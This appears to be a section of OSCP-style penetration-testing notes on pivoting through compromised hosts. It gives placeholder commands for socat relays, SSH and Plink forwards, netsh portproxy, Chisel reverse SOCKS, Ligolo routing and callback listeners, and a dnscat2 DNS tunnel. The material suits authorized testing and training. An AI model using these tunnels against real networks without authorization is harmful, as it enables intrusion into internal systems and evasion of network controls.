9.7.1 Tunneling and Port Forwarding

On a Linux pivot, expose one internal TCP service:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=PIVOT_REACHABLE_IP,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Loopback-only relay for another local tunnel stage:

socat -ddd TCP-LISTEN:LOCAL_PORT,bind=127.0.0.1,reuseaddr,fork \
  TCP:INTERNAL_HOST:INTERNAL_PORT

Verify the listener on the pivot with ss -lntp | grep LOCAL_PORT. Run nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT from the intended client to test client-to-pivot reachability. These checks run on different machines:

ss -lntp | grep LOCAL_PORT
nc -nvz PIVOT_REACHABLE_IP LOCAL_PORT

Add reliability and attributable failure to transport-only sessions:

-N
-o ExitOnForwardFailure=yes
-o ServerAliveInterval=30
-o ServerAliveCountMax=3

ExitOnForwardFailure proves requested listening sockets were established. It does not prove the final destination is reachable through them.

9.7.1.5.1 Expose a remote-side service on the SSH client Local forward: listener on the SSH client

Run on Kali when Kali can SSH to the pivot:

ssh -N \
  -L 127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Use the listener as though it were the internal service:

nc -nvz 127.0.0.1 LOCAL_PORT
curl -v http://127.0.0.1:LOCAL_PORT/

9.7.1.5.2 Provide SOCKS access through the SSH client Dynamic forward: SOCKS listener on the SSH client

ssh -N -D 127.0.0.1:1080 -p SSH_PORT USER@PIVOT \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

OpenSSH acts as a SOCKS4/5 server. The pivot makes destination connections selected by each SOCKS request.

9.7.1.5.3 Expose a client-side destination on the SSH server Remote forward: listener on the SSH server

Run on a pivot that can initiate an SSH connection back to Kali:

ssh -N \
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT \
  -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

Kali then uses:

nc -nvz 127.0.0.1 KALI_PORT

9.7.1.5.4 Provide server-side SOCKS access through the SSH client Remote dynamic forward: SOCKS listener on the SSH server

Run on the pivot:

ssh -N -R 127.0.0.1:1080 -p KALI_SSH_PORT KALI_USER@LHOST \
  -o ExitOnForwardFailure=yes \
  -o ServerAliveInterval=30 -o ServerAliveCountMax=3

The SOCKS listener appears on Kali and destination connections exit through the pivot. Remote dynamic forwarding requires OpenSSH 7.6 or later on the client that issues -R. Run ssh -V on the pivot (the SSH client). Run ss -lntp | grep 1080 on Kali (the SSH server hosting the SOCKS listener). These checks run on different machines; do not paste both into one terminal:

ssh -V
ss -lntp | grep 1080

9.7.1.5.5 Reach an SSH destination through a verified intermediate host SSH jump and proxy command

Direct SSH through an SSH pivot:

ssh -J PIVOT_USER@PIVOT TARGET_USER@INTERNAL_HOST

SSH through an existing SOCKS5 endpoint with Ncat:

ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' \
  TARGET_USER@INTERNAL_HOST

%h and %p are replaced with the destination host and port. Prefer this native proxy route when ProxyChains interposition is unreliable.

Host pivot
  HostName PIVOT
  User PIVOT_USER

Host internal
  HostName INTERNAL_HOST
  User TARGET_USER
  ProxyJump pivot

ssh internal
scp FILE internal:DESTINATION_PATH

sudo sshuttle --dns \
  -r SSH_USER@PIVOT:SSH_PORT \
  INTERNAL_SUBNET ANOTHER_SUBNET

Through a previously established local forward to the SSH pivot:

sudo sshuttle --dns \
  -r SSH_USER@127.0.0.1:LOCAL_SSH_PORT \
  INTERNAL_SUBNET

9.7.1.8.1 Forward a selected TCP service from Windows Built-in OpenSSH client

where ssh.exe
ssh.exe -V
ssh.exe -N -R 127.0.0.1:1080 KALI_USER@LHOST -p KALI_SSH_PORT -o ExitOnForwardFailure=yes -o ServerAliveInterval=30

The same -L, -D, -R, ProxyJump and ProxyCommand concepts apply to current Windows OpenSSH. Remote dynamic forwarding depends on the client version.

9.7.1.8.2 Forward a selected TCP service from Windows Plink

Remote fixed forward from Windows to Kali:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l KALI_USER -pwfile C:\PATH\kali-password.txt ^
  -R 127.0.0.1:KALI_PORT:INTERNAL_HOST:INTERNAL_PORT ^
  -P KALI_SSH_PORT LHOST

Local dynamic SOCKS on Windows:

plink.exe -ssh -N -batch -hostkey "HOST_KEY_FINGERPRINT" ^
  -l SSH_USER -pwfile C:\PATH\ssh-password.txt ^
  -D 127.0.0.1:1080 -P SSH_PORT PIVOT

9.7.1.8.3 Forward a selected TCP service from Windows Netsh portproxy

Elevated Windows shell:

netsh interface portproxy add v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT ^
  connectaddress=INTERNAL_HOST connectport=INTERNAL_PORT

netsh interface portproxy show all
netstat -ano -p tcp | findstr ":LOCAL_PORT"

If the existing firewall policy does not already allow the listener and a change is authorized:

netsh advfirewall firewall add rule name="OSCP Pivot LOCAL_PORT" ^
  dir=in action=allow protocol=TCP localport=LOCAL_PORT

Cleanup:

netsh interface portproxy delete v4tov4 ^
  listenaddress=PIVOT_REACHABLE_IP listenport=LOCAL_PORT

netsh advfirewall firewall delete rule name="OSCP Pivot LOCAL_PORT"

9.7.1.9.1 Reach pivot-side services through an outward-initiated SOCKS tunnel Reverse SOCKS: pivot initiates outward

On Kali:

chisel server --reverse --port CHISEL_PORT

Record the server fingerprint. On the pivot:

chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:socks

R:socks is the shorter equivalent using the default server-side 127.0.0.1:1080 listener. Traffic sent to Kali's SOCKS listener exits through the Chisel client/pivot.

9.7.1.9.2 Expose one pivot-side service through a reverse tunnel Reverse fixed TCP forward

9.7.1.9.2.1 Kali

# Kali
chisel server --reverse --port CHISEL_PORT

9.7.1.9.2.2 Pivot: expose an internal service on Kali loopback

# Pivot: expose an internal service on Kali loopback
chisel client --fingerprint 'SERVER_FINGERPRINT' LHOST:CHISEL_PORT \
  R:127.0.0.1:LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT

9.7.1.9.3 Forward SOCKS when the client is on the tool side

9.7.1.9.3.1 Pivot/server side

# Pivot/server side
chisel server --socks5 --port CHISEL_PORT

9.7.1.9.3.2 Kali/client side

# Kali/client side
chisel client --fingerprint 'SERVER_FINGERPRINT' PIVOT:CHISEL_PORT \
  127.0.0.1:1080:socks

9.7.1.9.4 Forward UDP only with compatible tunnel peers Current UDP-aware mode

Current upstream Chisel distinguishes:

socks / R:socks       -> SOCKS5 TCP CONNECT only
udpsocks / R:udpsocks -> TCP CONNECT plus SOCKS5 UDP ASSOCIATE

# Requires compatible current peers
chisel client --fingerprint 'SERVER_FINGERPRINT' \
  LHOST:CHISEL_PORT R:127.0.0.1:1080:udpsocks

9.7.1.9.5 Chisel failure cues

chisel --version
chisel server --help
chisel client --help
ss -lntp

9.7.1.10.1 Establish the Ligolo proxy-agent connection Proxy and agent

On Kali:

./proxy -selfcert -laddr 0.0.0.0:LIGOLO_PORT

In the proxy console, obtain the fingerprint:

certificate_fingerprint

On the pivot:

./agent -connect LHOST:LIGOLO_PORT -accept-fingerprint CERT_FINGERPRINT

-ignore-cert is a controlled-lab/debug fallback, not the baseline.

9.7.1.10.2 Create the interface and selected route needed by the pivot Current managed interface and route

In the Ligolo console:

interface_create --name ligolo
session
ifconfig
interface_add_route --name ligolo --route INTERNAL_SUBNET
tunnel_start --tun ligolo

Manual Linux alternative:

sudo ip tuntap add user "$USER" mode tun ligolo
sudo ip link set ligolo up
sudo ip route add INTERNAL_SUBNET dev ligolo

Then use normal clients:

ip route get INTERNAL_HOST
nmap -sT -Pn -n -p PORTS INTERNAL_HOST
curl -v http://INTERNAL_HOST:PORT/

9.7.1.10.3 Reach a service bound to the pivot host's loopback interface Pivot loopback services

Ligolo maps its special 240.0.0.0/4 range to the selected agent's loopback. Add one narrow route:

sudo ip route add 240.0.0.1/32 dev ligolo
nmap -sT -Pn -n -p PORTS 240.0.0.1

Use this only when the desired service is bound to 127.0.0.1 on the agent.

9.7.1.10.4 Callback or file-server listener on the agent

In the selected Ligolo session:

listener_add --addr 0.0.0.0:PIVOT_PORT --to 127.0.0.1:KALI_PORT --tcp
listener_list

Kali listener:

ncat -lvn 127.0.0.1 KALI_PORT

An internal target connects to PIVOT_REACHABLE_IP:PIVOT_PORT; Ligolo relays it to Kali's loopback listener. Cleanup:

listener_stop LISTENER_ID

Use only when ordinary transports are unavailable and DNS is demonstrably permitted. This is a conditional advanced route, but it remains in the current official BOK.

Prerequisites:

• command execution sufficient to run a compatible client;
• either authoritative control/NS delegation for TUNNEL_DOMAIN or direct UDP/53 reachability to the server;
• a resolver chain that forwards the chosen domain externally;
• permission to bind/listen on the required DNS port;
• tolerance for low throughput and conspicuous DNS patterns.

Authoritative-domain mode:

dnscat2-server --secret=SHARED_SECRET TUNNEL_DOMAIN

Client:

./dnscat --secret=SHARED_SECRET TUNNEL_DOMAIN

Direct DNS-server mode shown by the server's own usage output:

./dnscat --dns server=DNS_SERVER,port=53 --secret=SHARED_SECRET

Server console:

windows
window -i SESSION_ID
help